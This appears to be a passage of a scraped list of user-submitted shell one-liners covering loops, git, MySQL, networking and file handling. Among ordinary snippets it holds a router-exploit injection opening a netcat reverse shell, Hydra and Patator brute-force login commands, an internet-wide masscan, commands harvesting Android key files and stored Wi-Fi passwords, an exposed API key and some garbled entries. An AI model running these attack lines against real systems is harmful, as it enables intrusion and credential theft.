Caps_Lock;done</code></li><li><span>Save a copy of all debian packages in the form in which they are installed and configured on your system: </span><code>for a in $(sudo dpkg --get-selections|cut -f1); do dpkg-repack $a|awk &#39;{if (system(&quot;sleep .5 &amp;&amp; exit 2&quot;) != 2) exit; print}&#39;;done</code></li><li><span>Switch all connected PulseAudio bluetooth devices to A2DP profile: </span><code>for card in $(pacmd list-cards | grep &#39;name: &#39; | sed &#39;s/.*&lt;\(.*\)&gt;.*/\1/&#39;); do pacmd set-card-profile $card a2dp_sink; done</code></li><li><span>Silently deletes lines containing a specific string in a bunch of files: </span><code>for file in $(egrep &#39;abc|def&#39; *.sql | cut -d&quot;:&quot; -f1 | uniq); do    sed -i &#39;/abc/d&#39; ./$file ; sed -i &#39;/def/d&#39; ./$file; done</code></li><li><span>Find a file and then copy to tmp folder: </span><code>for file in</code><span>ls | grep -i &#39;mumbai|pune|delhi&#39;</span><code>; do ** $file /tmp/ ; done</code></li><li><span>Massive change of file extension (bash): </span><code>for file in *.txt; do mv &quot;$file&quot; &quot;${file%.txt}.xml&quot;; done</code></li><li><span>Massive change of file extension (bash): </span><code>for file in *.txt; do mv &quot;${file%.txt}{.txt,.xml}&quot;; done</code></li><li><span>Rename all files in lower case: </span><code>for f in</code><span>find</span><code>; do mv -v &quot;$f&quot; &quot;</code><span>echo $f | tr &#39;[A-Z]&#39; &#39;[a-z]&#39;</span><code>&quot;; done</code></li><li><span>Tar and bz2 a set of folders as individual files: </span><code>for f in *screenflow ; do tar cvf &quot;$f.tar.bz2&quot; &quot;$f&quot;; done</code></li><li><span>Make a dedicated folder for each zip file: </span><code>for f in *.zip; do unzip -d &quot;${f%*.zip}&quot; &quot;$f&quot;; done</code></li><li><span>Shell bash iterate number range with for loop: </span><code>for((**1;i&lt;=10;i++)){ echo $i; }</code></li><li><span>Generate a sequence of numbers.: </span><code>for ((**1; i&lt;=99; ++i)); do echo $i; done</code></li><li><span>Block all IPv4 addresses that has brute forcing our ssh server: </span><code>for idiots in &quot;$(cat /var/log/auth.log|grep invalid| grep -oE &#39;\b([0-9]{1,3}\.){3}[0-9]{1,3}\b&#39;)&quot;; do iptables -A INPUT -s &quot;$idiots&quot; -j DROP; done</code></li><li><span>Download all default installed apk files from your android.: </span><code>for i in $(adb shell pm list packages | awk -F&#39;:&#39; &#39;{print $2}&#39;); do adb pull &quot;$(adb shell pm path $i | awk -F&#39;:&#39; &#39;{print $2}&#39;)&quot;; mv *.apk $i.apk 2&amp;&gt; /dev/null ;done</code></li><li><span>Shell bash iterate number range with for loop: </span><code>for i in $(seq 1 5) ; do echo $i ; done</code></li><li><span>Shell bash iterate number range with for loop: </span><code>for i in {1..10}; do echo $i; done</code></li><li><span>Quickly ping range of IP adresses and return only those that are online: </span><code>{ for i in {1..254}; do ping -c 1 -W 1  192.168.1.$i &amp; done } | grep &quot;64 bytes&quot;</code></li><li><span>Scan all open ports without any required program: </span><code>for i in {1..65535}; do (echo &lt; /dev/tcp/127.0.0.1/$i) &amp;&gt;/dev/null &amp;&amp; printf &quot;\n[+] Open Port at\n: \t%d\n&quot; &quot;$i&quot; || printf &quot;.&quot;; done</code></li><li><span>Download all .key files from your android device to your pc.: </span><code>for i in</code><span>adb shell &quot;su -c find /data /system -name &#39;*.key&#39;&quot;</span><code>; do mkdir -p &quot;.</code><span>dirname $i</span><code>&quot;;adb shell &quot;su -c cat $i&quot; &gt; &quot;.$i&quot;;done</code></li><li><span>Convert raw camera image to jpeg: </span><code>for i in *.CR2; do ufraw-batch $i --out-type=jpeg --output $i.jpg; done;</code></li><li><span>Individually 7zip all files in current directory: </span><code>for i in *.*; do 7z a &quot;$i&quot;.7z &quot;$i&quot;; done</code></li><li><span>Rename all files in a directory to the md5 hash: </span><code>for i in *; do sum=$(md5sum $i); mv  -- &quot;$i&quot; &quot;${sum%% *}&quot;; done</code></li><li><span>Checks size of directory &amp; delete it if its to small: </span><code>for i in *;  do test -d &quot;$i&quot; &amp;&amp; ( rclone size &quot;$i&quot; --json -L 2&gt; /dev/null | jq --arg path &quot;$i&quot; &#39;if .bytes &lt; 57462360 then ( { p: $path , b: .bytes}) else &quot;none&quot; end&#39; | grep -v none | jq -r &#39;.p&#39; | parallel -j3 rclone purge &quot;{}&quot; -v -P ); done</code></li><li><span>Get all Google ipv4/6 subnets for a iptables firewall for example (updated version): </span><code>for NETBLOCK in $(echo _netblocks.google.com _netblocks2.google.com _netblocks3.google.com); do nslookup -q=TXT $NETBLOCK ; done | tr &quot; &quot; &quot;\n&quot; | grep ^ip[46]: | cut -d: -f2- | sort</code></li><li><span>WSL: Change the current directory converting a Windows path to a Linux Path: </span><code>function _cd() { local dir; dir=&quot;$(sed -e &#39;s~\([a-z]\):~/mnt/\L\1~gi&#39; &lt;&lt;&lt; &quot;${*//&#39;\&#39;/&quot;/&quot;}&quot; )&quot;; if [ -d &quot;$dir&quot; ]; then cd &quot;$dir&quot; || exit; fi; }</code></li><li><span>Uniquely (sort of) color text so you can see changes: </span><code>function colorify() { n=$(bc &lt;&lt;&lt; &quot;$(echo ${1}|od -An -vtu1 -w100000000|tr -d &#39; &#39;) % 7&quot;); echo -e &quot;\e[3${n}m${1}\e[0m&quot;; }</code></li><li><span>Worse alternative to &lt;ctrl+r&gt;: </span><code>function memo() { awk &#39;! seen[$0]++&#39; &lt;&lt;&lt; $(grep -i &quot;$@&quot; ~/.bash_history ); }</code></li><li><span>Autocomplete directories (CWDs) of other ZSH processes (MacOS version): </span><code>function _xterm_cwds() { for pid in $(pgrep -x zsh); do reply+=$(lsof -p $pid | grep cwd | awk &#39;{print $9}&#39;) done }; function xcd() { cd $1 }; compctl -K _xterm_cwds xcd</code></li><li><span>Pull multiple repositories in child folders (a.k.a. I&#39;m back from leave script) [Windows]: </span><code>gci -Directory | foreach {Push-Location $_.Name; git fetch --all; git checkout master; git pull; Pop-Location}</code></li><li><span>Powershell one-line script to remove the bracketed date from filenames: </span><code>Get-ChildItem -Recurse | Where-Object { $_.Name -match &quot; ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)&quot; } | Rename-Item -NewName { $_.Name -replace &quot; ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)&quot;, &quot;&quot;}</code></li><li><span>Delete all local git branches that have been merged and deleted from remote: </span><code>git branch -d $( git branch -vv | grep &#39;\[[^:]\+: gone\]&#39; | awk &#39;{print $1}&#39; | xargs )</code></li><li><span>Delete all local branches that have been merged into master [Windows]: </span><code>git branch --merged origin/master | Where-Object {  !$_.Contains(&#39;master&#39;) } | ForEach-Object { git branch -d $_.trim() }</code></li><li><span>Cleanup remote git repository of all branches already merged into master: </span><code>git branch --remotes --merged | grep -v master | sed &#39;s@ origin/@:@&#39; | xargs git push origin</code></li><li><span>Delete all local branches that are not master [Windows]: </span><code>git branch | Where-Object { !$_.Contains(&#39;master&#39;) } | ForEach-Object { git branch -D $_.Trim() }</code></li><li><span>Copy current branch to clipboard [Windows]: </span><code>(git branch | Where-Object { $_.Contains(&#39;*&#39;) } | Select-Object -First 1).Trim(&#39;*&#39;).Trim() | Set-Clipboard</code></li><li><span>Initialise git in working directory with latest Visual Studio .gitignore [Windows]: </span><code>git init; (Invoke-WebRequest https://raw.githubusercontent.com/github/gitignore/master/VisualStudio.gitignore -UseBasicParsing).Content | Out-File -FilePath .gitignore -Encoding utf8; git add -A</code></li><li><span>Get full git commit history of single file: </span><code>git log -p --name-only --follow &lt;file&gt;</code></li><li><span>Open browser from terminal to create PR after pushing something in Git in MAC: </span><code>git remote -v |grep origin|tail -1|awk &#39;{print $2}&#39;|cut -d&quot;@&quot; -f2|sed &#39;s/:/\//g&#39;|xargs -I {} open -a &quot;Google Chrome&quot; https://{}</code></li><li><span>Print github url for the current url: </span><code>git remote -v | sed -n &#39;/github.com.*push/{s/^[^[:space:]]\+[[:space:]]\+//;s|git@github.com:|https://github.com/|;s/\.git.*//;p}&#39;</code></li><li><span>Push to all (different) remotes in git directory without having to combine them.: </span><code>git remote | while read line ; do git push $line; done</code></li><li><span>Stage all files for commit except those that are *.config at any level within your git repo [Windows]: </span><code>git status | Where-Object {$_.Contains(&#39;modified&#39;) -and !$_.Contains(&#39;.config&#39;)} | ForEach-Object { git add $_.Replace(&#39;modified:&#39;,&#39;&#39;).Trim() }</code></li><li><span>Find out how much ram memory has your video (graphic) card: </span><code>glxinfo |grep -i -o &#39;device|memory\|[0-9]\{1,12\} MB&#39;|head -n 1</code></li><li><span>Add a mysql user: </span><code>grant all on *.* to &#39;dba&#39;@&#39;localhost&#39; identified by &#39;dba123&#39; with grant option;</code></li><li><span>Colorize grep output: </span><code>grep --color -E &#39;pattern|$&#39; file</code></li><li><span>Highlight with grep and still output file contents: </span><code>grep --color -E &#39;pattern|&#39; file</code></li><li><span>Print hugepage consumption of each process: </span><code>grep -e AnonHugePages  /proc/*/smaps | awk  &#39;{ if($2&gt;4) print $0} &#39; |  awk -F &quot;/&quot; &#39;{system(&quot;cat /proc/&quot; $3 &quot;/cmdline&quot;);printf(&quot;\n&quot;);print $0; printf(&quot;\n&quot;);}&#39;</code></li><li><span>Find Apache Root document: </span><code>grep -e &#39;^[[:blank:]]*DocumentRoot[[:blank:]]\S&#39;</code></li><li><span>Extract email addresses from some file (or any other pattern): </span><code>grep -Eio &#39;([[:alnum:]_.-]{1,64}@[[:alnum:]_.-]{1,252}?\.[[:alpha:].]{2,6})&#39;</code></li><li><span>Extract queries from mysql general log: </span><code>grep -Eo &#39;( *[^ ]* *){4}Invoice_Template( *[^ ]* *){4}&#39; /mysql-bin-log/mysql-gen.log | head -10000 | sort -u</code></li><li><span>Get all lines that start with a dot or period: </span><code>grep &#39;^\.&#39; file</code></li><li><span>Grep for minus (-) sign: </span><code>grep -- -</code></li><li><span>Find passwords that has been stored as plain text in NetworkManager: </span><code>grep -H &#39;^psk=&#39; /etc/NetworkManager/system-connections/*</code></li><li><span>Find Apache Root document: </span><code>grep -i &#39;DocumentRoot&#39; /usr/local/apache/conf/httpd.conf</code></li><li><span>Show OS release incl version.: </span><code>grep -m1 -h [0-9] /etc/{*elease,issue} 2&gt;/dev/null | head -1</code></li><li><span>Delete at start of each line until character: </span><code>grep -Po &#39;^(.*?:\K)?.*&#39;</code></li><li><span>Get rid of lines with non ascii characters: </span><code>grep -v $&#39;[^\t\r -~]&#39; my-file-with-non-ascii-characters</code></li><li><span>Reduce PDF Filesize: </span><code>gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dBATCH  -dQUIET  -dColorImageResolution=600 -dMonoImageResolution=600 -sOutputFile=output.pdf input.pdf</code></li><li><span>IBM AIX: Extract a .tar.gz archive in one shot: </span><code>gunzip -c file.tar.gz | tar -xvf -</code></li><li><span>Factory reset your harddrive. (BE CAREFUL!): </span><code>hdparm --yes-i-know-what-i-am-doing --dco-restore /dev/sdX</code></li><li><span>Calculate the distance between two geographic coordinates points (latitude longitude): </span><code>h(){ echo $@|awk &#39;{d($1,$2,$3,$4);} function d(x,y,x2,y2,a,c,dx,dy){dx=r(x2-x);dy=r(y2-y);x=r(x);x2=r(x2);a=(sin(dx/2))^2+cos(x)*cos(x2)*(sin(dy/2))^2;c=2*atan2(sqrt(a),sqrt(1-a)); printf(&quot;%.4f&quot;,6372.8*c);} function r(g){return g*(3.1415926/180.);}&#39;;}</code></li><li><span>Bruteforce Synology NAS Logins with Hydra: </span><code>hydra  -I -V -T 5 -t 2  -s 5001 -M /tmp/syno https-post-form &#39;/webman/login.cgi?enable_syno_token=yes:username=^USER^&amp;passwd=^PASS^&amp;OTPcode=:S=true&#39; -L ./ruby-syno-brut/user -P ruby-syno-brut/passlist-short-2.txt</code></li><li><span>Iso to USB with dd and show progress status: </span><code>image=&quot;file.iso&quot;;drive=&quot;/dev/null&quot;;sudo -- sh -c &#39;cat &#39;&quot;${image}&quot;&#39;|(pv -n -s $(stat --printf=&quot;%s&quot; &#39;&quot;${image}&quot;&#39;)|dd of=&#39;&quot;${drive}&quot;&#39; obs=1M oflag=direct) 2&gt;&amp;1| dialog --gauge &quot;Writing Image &#39;&quot;${image}&quot;&#39; to Drive &#39;&quot;${drive}&quot;&#39;&quot; 10 70 7&#39;</code></li><li><span>Block all brute force attacks in realtime (IPv4/SSH): </span><code>inotifywait -r -q --format %w /var/log/auth.log|grep -i &quot;Failed pass&quot;|tail -n 1|grep -oE &#39;\b([0-9]{1,3}\.){3}[0-9]{1,3}&#39;;iptables -I INPUT -i eth0 -s &quot;$(cat /var/log/auth.log|grep &quot;authentication failure; l&quot;|awk -Frhost= &#39;{print $2}&#39;|tail -n 1)&quot; -j DROP</code></li><li><span>To create files with specific permission:: </span><code>install -b -m 777 /dev/null file.txt</code></li><li><span>Show current network interface in use: </span><code>ip addr | awk &#39;/state UP/ {print $2}&#39; | sed &#39;s/.$//&#39;</code></li><li><span>Grep expression (perl regex) to extract all ip addresses from both ip and ifconfig commands output: </span><code>ip a | grep -oP &#39;(?&lt;=inet |addr:)(?:\d+\.){3}\d+&#39;</code></li><li><span>Show your current network interface in use: </span><code>ip r show default | awk &#39;{print $5}&#39;</code></li><li><span>Keytool using BouncyCastle as security provider to add a X509 certificate: </span><code>keytool -importcert -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -trustcacerts -alias &lt;alias&gt; -file &lt;filename.cer&gt; -keystore &lt;filename&gt;</code></li><li><span>Keytool using BouncyCastle as security provider to add a PKCS12 certificate store: </span><code>keytool -importkeystore -providerpath bcprov.jar -provider BouncyCastleProvider -srckeystore &lt;filename.pfx&gt; -srcstoretype pkcs12 -srcalias &lt;src-alias&gt; -destkeystore &lt;filename.ks&gt; -deststoretype BCPKCS12 -destalias &lt;dest-alias&gt;</code></li><li><span>Keytool view all entries in a keystore with BouncyCastle as security provider: </span><code>keytool -list -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -storepass &lt;passphrase&gt; -keystore &lt;filename&gt;</code></li><li><span>Trim disk image for best compression before distributing: </span><code>kpartx -av disk.img &amp;&amp; mkdir disk &amp;&amp; mount /dev/mapper/loop0p1 disk &amp;&amp; fstrim -v disk &amp;&amp; umount disk &amp;&amp; kpartx -d disk.img</code></li><li><span>Command shell generate random strong password: </span><code>len=20; tr -dc A-Za-z0-9_ &lt; /dev/urandom | head -c ${len} | xargs</code></li><li><span>Countdown Clock: </span><code>let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne &quot;\r$(date -d&quot;0:0:$i&quot; +%H:%M:%S)&quot;; sleep 0.3; done</code></li><li><span>Listen to a song from youtube with youtube-dl and mpv: </span><code>listen-to-yt() { if [[ -z &quot;$1&quot; ]]; then echo &quot;Enter a search string!&quot;; else mpv &quot;$(youtube-dl --default-search &#39;ytsearch1:&#39; \&quot;$1\&quot; --get-url | tail -1)&quot;; fi }</code></li><li><span>Display list of available printers: </span><code>lpstat -p</code></li><li><span>Slow Down Command Output: </span><code>ls -alt|awk &#39;{if (system(&quot;sleep .5 &amp;&amp; exit 2&quot;) != 2) exit; print}&#39;</code></li><li><span>Listing today&#39;s files only: </span><code>ls -al --time-style=+%D| grep</code><span>date +%D``</span></li><li><span>Display information about the CPU: </span><code>lscpu | egrep &#39;Model name|Socket|Thread|NUMA|CPU\(s\)&#39;</code></li><li><span>List current   processes  writing to hard drive: </span><code>lsof | grep -e &quot;[[:digit:]]\+w&quot;</code></li><li><span>Find wich ports you probably want to open in your firewall on a fresh installed machine: </span><code>lsof -i -nlP | awk &#39;{print $9, $8, $1}&#39; | sed &#39;s/.*://&#39; | sort -u</code></li><li><span>Find out  how much ram memory has your video (graphic) card: </span><code>lspci|grep -i &quot;VGA Compatible Controller&quot;|cut -d&#39; &#39; -f1|xargs lspci -v -s|grep &#39; prefetchable&#39;</code></li><li><span>Check a directory of PNG files for errors: </span><code>ls *.png |parallel --nice 19 --bar --will-cite &quot;pngcheck -q {}&quot;</code></li><li><span>List files size sorted and print total size in a human readable format without sort, awk and other commands.: </span><code>ls -sSh /path | head</code></li><li><span>Scan multiple log subdirectories for the latest log files and tail them: </span><code>ls /var/log/* -ld | tr -s &quot; &quot; | cut -d&quot; &quot; -f9 | xargs -i{} sh -c &#39;echo &quot;\n---{}---\n&quot;; tail -n50 {}/</code><span>ls -tr {} | tail -n1</span><code>&#39;</code></li><li><span>List top 100 djs from </span><a href='https://djmag.com/top100djs' target='_blank' class='url'>https://djmag.com/top100djs</a><span>: </span><code>lynx -listonly -nonumbers -dump https://djmag.com/top100djs|sed &#39;1d&#39;|cut -d- -f5,6,7|sed -n &#39;180,$p&#39;|nl --number-format=rn --number-width=3|sed &#39;s/-/ /g&#39;|sed -e &#39;s/.*/\L&amp;/&#39; -e &#39;s/\&lt;./\u&amp;/g&#39;</code></li><li><span>Scan whole internet and specific port in humanistic time: </span><code>masscan 0.0.0.0/0 -p8080,8081,8082 --max-rate 100000 --banners --output-format grepable --output-filename /tmp/scan.xt --exclude 255.255.255.255</code></li><li><span>Create multiple subfolders in one command.: </span><code>mkdir -p /path/folder{1..4}</code></li><li><span>Create multiple subfolders in one command.: </span><code>mkdir -p /path/{folder1,folder2,folder3,folder4}</code></li><li><span>Create ext4 filesystem with big count of inodes: </span><code>mkfs.ext4 -T news /dev/sdcXX</code></li><li><span>Convert CSV to JSON with miller: </span><code>mlr --c2j --jlistwrap cat file.csv</code></li><li><span>Premiumize - create a ddl &amp; save the URL in variable MYLINK: </span><code>MYLINK=$(curl  &#39;https://www.premiumize.me/api/transfer/directdl?apikey=dzx3rqwrxme8iazu&#39; \   -H &#39;accept: application/json&#39; \   -H &#39;Content-Type: application/x-www-form-urlencoded&#39;  --data-raw &#39;src=&#39;$URL | jq -r &#39;.content[] | .link&#39; )</code></li><li><span>Mysql status: </span><code>mysqladmin status &gt;&gt; /home/status.txt 2&gt;&gt; /home/status_err.txt</code></li><li><span>InnoDB related parameters: </span><code>mysqladmin variables | egrep &#39;(innodb_log_file|innodb_data_file)&#39;</code></li><li><span>Mysql backup utility: </span><code>mysqlbackup --port=3306 --protocol=tcp --user=dba --password=dba  --with-timestamp  --backup-dir=/tmp/toback/ --slave-info backup-and-apply-log  --innodb_data_file_path=ibdata1:10M:autoextend --innodb_log_files_in_group=2 --innodb_log_file_size=5242880</code></li><li><span>Reapair all mySQL/mariaDB databases: </span><code>mysqlcheck --repair --all-databases -u root -p&lt;PASSWORD&gt;</code></li><li><span>Monitor ETA using pv command: </span><code>mysqldump --login-path=mypath sbtest sbtest4 |  pv  --progress  --size  200m  -t  -e  -r  -a &gt; dump.sql</code></li><li><span>Backup all data in compressed format: </span><code>mysqldump --routines --all-databases | gzip &gt; /home/mydata.sql.gz 2&gt; /home/mydata.date &#39;+\%b\%d&#39;.err</code></li><li><span>Check mysql server performance: </span><code>mysqlslap --query=/home/ec2-user/insert.txt --concurrency=123 --iterations=1  --create-schema=test</code></li><li><span>Check mysql capacity to handle traffic: </span><code>mysqlslap  --query=/root/select_query_cp.sql --concurrency=10 --iterations=5  --create-schema=cvts1</code></li><li><span>Hacking the Technicolor TG799vac  (and unlocking features for openwrt): </span><code>::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth=&#39;on&#39;;uci set dropbear.lan.RootPasswordAuth=&#39;on&#39;;uci set dropbear.lan.Interface=&#39;lan&#39;;uci set dropbear.lan.enable=&#39;1&#39;;/etc/init.d/dropbear restart; uci commit</code></li><li><span>Which processes are listening on a specific port (e.g. port 80): </span><code>netstat -nap|grep 80|grep LISTEN</code></li><li><span>Show which programs are listening on TCP ports: </span><code>netstat -tlpn</code></li><li><span>Nmap get all active online ips  from specific network: </span><code>nmap -n -sn 192.168.1.0/24 -oG - | awk &#39;/Up$/{print $2}&#39;</code></li><li><span>Dump top 10 ports tcp/udp from nmap: </span><code>nmap -oA derp --top-ports 10 localhost&gt;/dev/null;grep &#39;services\=&#39; derp.xml | sed -r &#39;s/.*services\=\&quot;(.*)(\&quot;\/&gt;)/\1/g&#39;</code></li><li><span>Nmap fast scan all ports target: </span><code>nmap  -p0-65535 192.168.1.254 -T5</code></li><li><span>Network Discover in a one liner: </span><code>nmap -sn 192.168.1.0/24 -oG - | awk &#39;$4==&quot;Status:&quot; &amp;&amp; $5==&quot;Up&quot; {print $0}&#39;|column -t</code></li><li><span>Display live hosts on the network: </span><code>nmap -sP &quot;$(ip -4 -o route get 1 | cut -d &#39; &#39; -f 7)&quot;/24 | grep report | cut -d &#39; &#39; -f 5-</code></li><li><span>Quickly ping range of IP adresses and return only those that are online: </span><code>nmap -sP 192.168.0.0/24</code></li><li><span>Show a prettified list of nearby wireless APs: </span><code>nmcli device wifi list</code></li><li><span>List all global top level modles, then remove ALL npm packages with xargs: </span><code>npm ls -gp --depth=0 | awk -F/ &#39;/node_modules/ &amp;&amp; !/\/npm$/ {print $NF}&#39; | xargs npm -g rm; npm -g uninstall npm</code></li><li><span>Convert rich text on the clipboard to Markdown in OS X: </span><code>osascript -e&#39;get the clipboard as&quot;RTF &quot;&#39;|sed &#39;s/«data RTF //;s/»//&#39;|xxd -r -p|textutil -convert html -stdin -stdout|pandoc -f html -t markdown_strict --no-wrap --atx-headers</code></li><li><span>List the URLs of tabs of the frontmost Chrome window in OS X: </span><code>osascript -e{&#39;set text item delimiters to linefeed&#39;,&#39;tell app&quot;google chrome&quot;to url of tabs of window 1 as text&#39;}</code></li><li><span>Arch Linux: Search for missing libraries using pacman: </span><code>pacman -Fs libusb-0.1.so.4</code></li><li><span>Sort installed package on ArchLinux  from low to high: </span><code>pacman -Qi | egrep &#39;^(Name|Installed)&#39; | cut -f2 -d&#39;:&#39; | paste - - | column -t | sort -nk 2 | grep MiB</code></li><li><span>PulseAudio: set the volume via command line: </span><code>pactl set-sink-volume @DEFAULT_SINK@ +5%</code></li><li><span>Converts all pngs in a folder to webp using all available cores: </span><code>parallel cwebp -q 80 {} -o {.}.webp ::: *.png</code></li><li><span>Fast portscanner via Parallel: </span><code>parallel -j200% -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22</code></li><li><span>Patator: A Hydra brute force alternative: </span><code>patator ssh_login host=192.168.1.16 port=22 user=FILE0 0=user.lst password=FILE1 1=pass.lst -x ignore:mesg=&#39;Authentication failed.&#39;</code></li><li><span>Create POSIX tar archive: </span><code>pax -wf archive.tar /path</code></li><li><span>Calculate the mean or average of a single column of numbers in a text file: </span><code>perl -lane &#39;$total += $F[0]; END{print $total/$.}&#39; single-column-numbers.txt</code></li><li><span>Uninstall bloatware on your android device without root.: </span><code>pm uninstall --user 0 com.package.name</code></li><li><span>Converts all pngs in a folder to webp, quality can be choosed as a argument: </span><code>pngwebp(){ arg1=$1  for i in *.png;   do name=</code><span>echo &quot;${i%.*}&quot;</span><code>;   echo $name;  cwebp -q $1 &quot;${i}&quot; -o &quot;${name}.webp&quot; done  }</code></li><li><span>Print CPU load in percent: </span><code>printf &quot;1-minute load average: %.1f%%\n&quot; \ $(bc &lt;&lt;&lt;&quot;$(cut -d &#39; &#39; -f 1 /proc/loadavg) * 100&quot;)</code></li><li><span>Alert visually until any key is pressed: </span><code>printf &quot;\e[38;5;1m&quot;; while true; do printf &quot;\e[?5h A L E R T %s\n&quot; &quot;$(date)&quot;; sleep 0.1; printf &quot;\e[?5l&quot;; read -r -s -n1 -t1 &amp;&amp; printf &quot;\e[39m&quot; &amp;&amp; break; done</code></li><li><span>Seconds since epoch to ISO timestamp: </span><code>printf &#39;%(%FT%T)T\n&#39; 1606752450</code></li><li><span>Check whether IPv6 is enabled: </span><code>printf &quot;IPv6 is &quot;; [ $(cat /proc/sys/net/ipv6/conf/all/disable_ipv6) -eq 0 ] &amp;&amp; printf &quot;enabled\n&quot; || printf &quot;disabled\n&quot;</code></li><li><span>Draw line separator (using knoppix5 idea): </span><code>printf &#39;*%.s&#39; {1..40}; echo</code></li><li><span>Draw line separator (using knoppix5 idea): </span><code>printf &quot;%.s*&quot; {1..40}; printf &quot;\n&quot;</code></li><li><span>Make M-n, M-m, and M-, insert the zeroth, first, and second argument of the previous command in Bash: </span><code>printf %s\\n &#39;&quot;\en&quot;: &quot;\e0\e.&quot;&#39; &#39;&quot;\em&quot;: &quot;\e1\e.&quot;&#39; &#39;&quot;\e,&quot;: &quot;\e2\e.&quot;&#39;&gt;&gt;~/.inputrc</code></li><li><span>Print a horizontal line: </span><code>printf &quot;%</code><span>tput cols</span><code>s&quot;|sed &quot;s/ /_/g&quot;</code></li><li><span>Print a horizontal line: </span><code>printf -v _hr &quot;%*s&quot; $(tput cols) &amp;&amp; echo ${_hr// /${1--}}</code></li><li><span>Sort processes by CPU Usage: </span><code>ps auxk -%cpu | head -n10</code></li><li><span>Top 10 Memory Processes (reduced output to applications and %usage only): </span><code>ps aux | sort -rk 4,4 | head -n 10 | awk &#39;{print $4,$11}&#39;</code></li><li><span>Top 10 Memory Processes: </span><code>ps aux | sort -rk 4,4 | head -n 10</code></li><li><span>List packages manually installed with process currently running: </span><code>ps -eo cmd | awk &#39;{print $1}&#39;| sort -u | grep &quot;^/&quot; | xargs dpkg -S 2&gt;/dev/null | awk -F: &#39;{print $1}&#39; | sort -u | xargs apt-mark showmanual</code></li><li><span>Debug pytest failures in the terminal: </span><code>pytest --pdbcls pudb.debugger:Debugger --pdb --capture=no</code></li><li><span>Generrate Cryptographically Secure RANDOM PASSWORD: </span><code>python -c &quot;import string; import random;print(&#39;&#39;.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(16)))&quot;</code></li><li><span>Bootstrap python-pip &amp; setuptools: </span><code>python -m ensurepip --default-pip &amp;&amp; python -m pip install --upgrade pip setuptools wheel</code></li><li><span>Serve current directory tree at http://$HOSTNAME:8000/: </span><code>python -m SimpleHTTPServer 8080</code></li><li><span>KDE Console Logout command (with confirmation dialog): </span><code>qdbus org.kde.ksmserver /KSMServer logout 1 0 0</code></li><li><span>Calculate your total world compile time. (Gentoo Distros): </span><code>qlist -I | xargs qlop -t | awk &#39;{ if ($2 &lt; 5400) secs += $2} END { printf(&quot;%dh:%dm:%ds\n&quot;, secs / 3600, (secs % 3600) / 60, secs % 60); }&#39;</code></li><li><span>Print compile time in seconds package by package (Gentoo Distros): </span><code>qlist -I | xargs qlop -t |sort -t&quot; &quot; -rnk2</code></li><li><span>Shell bash iterate number range with for loop: </span><code>rangeBegin=10; rangeEnd=20; for numbers in $(eval echo &quot;{$rangeBegin..$rangeEnd}&quot;); do echo $numbers;done</code></li><li><span>Shell bash iterate number range with for loop: </span><code>rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers&lt;=rangeEnd; numbers++)); do echo $numbers; done</code></li><li><span>Bitcoin Brainwallet Private Key Calculator: </span><code>(read -r passphrase; b58encode 80$( brainwallet_exponent &quot;$passphrase&quot; )$( brainwallet_checksum &quot;$passphrase&quot; ))</code></li><li><span>Rename anime fansubs: </span><code>rename -n &#39;s/[_ ]?[\[\(]([A-Z0-9-+,\.]+)[\]\)][_ ]?//ig&#39; &#39;[subs4u]_Mushishi_S2_22_(hi10p,720p,ger.sub)[47B73AEB].mkv&#39;</code></li><li><span>Add prefix of 0 place holders for a string: </span><code>rename &#39;s/\d+/sprintf(&quot;%04d&quot;,$&amp;)/e&#39; *</code></li><li><span>Rename all files in lower case: </span><code>rename &#39;y/A-Z/a-z/&#39; *</code></li><li><span>Identify all amazon cloudformation scripts recursively using ripgrep: </span><code>rg -l &quot;AWSTemplateFormatVersion: &#39;2010-09-09&#39;&quot; *</code></li><li><span>Route add default gateway: </span><code>route add default gw 192.168.10.1 //OR// ip route add default via 192.168.10.1 dev eth0 //OR// ip route add default via 192.168.10.1</code></li><li><span>Show your current network interface in use: </span><code>route | grep -m1 ^default | awk &#39;{print $NF}&#39;</code></li><li><span>Extract rpm package name, version and release using some fancy sed regex: </span><code>rpm -qa | sed &#39;s/^\(.*\)-\([^-]\{1,\}\)-\([^-]\{1,\}\)$/\1 \2 \3/&#39; | sort | column -t</code></li><li><span>Rsync should continue even if connection lost: </span><code>rsync --archive --recursive --compress --partial --progress --append root@123.123.123.123:/backup/somefile.txt.bz2 /home/ubuntu/</code></li><li><span>Rsync using SSH and outputing results to a text file: </span><code>rsync --delete --stats -zaAxh -e ssh /local_directory/ username@IP_of_remote:/Remote_Directory/ &gt; /Text_file_Directory/backuplog.txt</code></li><li><span>Rsync using pem file: </span><code>rsync -e &#39;ssh -i /root/my.pem&#39; -avz /mysql/db/data_summary.* ec2-1-2-4-9.compute-1.amazonaws.com:/mysql/test/</code></li><li><span>Check host port access using only Bash:: </span><code>s=&quot;$(cat 2&gt;/dev/null &lt; /dev/null &gt; /dev/tcp/${target_ip}/${target_port} &amp; WPID=$!; sleep 3 &amp;&amp; kill $! &gt;/dev/null 2&gt;&amp;1 &amp; KPID=$!; wait $WPID &amp;&amp; echo 1)&quot; ; s=&quot;${s:-0}&quot;; echo &quot;${s}&quot; | sed &#39;s/0/2/;s/1/0/;s/2/1/&#39;</code></li><li><span>VI/VIM Anonymize email address in log file: </span><code>%s/.\{5\}@.\{5\}/XXXXX@XXXXXX/g</code></li><li><span>Set RGB gamma of secondary monitor: </span><code>secondscreen=$(xrandr -q | grep &quot; connected&quot; | sed -n &#39;2 p&#39; | cut -f 1 -d &#39; &#39;); [ &quot;$secondscreen&quot; ] &amp;&amp; xrandr --output $secondscreen --gamma 0.6:0.75:1</code></li><li><span>Shell bash iterate number range with for loop: </span><code>seq 10 20</code></li><li><span>Generate a sequence of 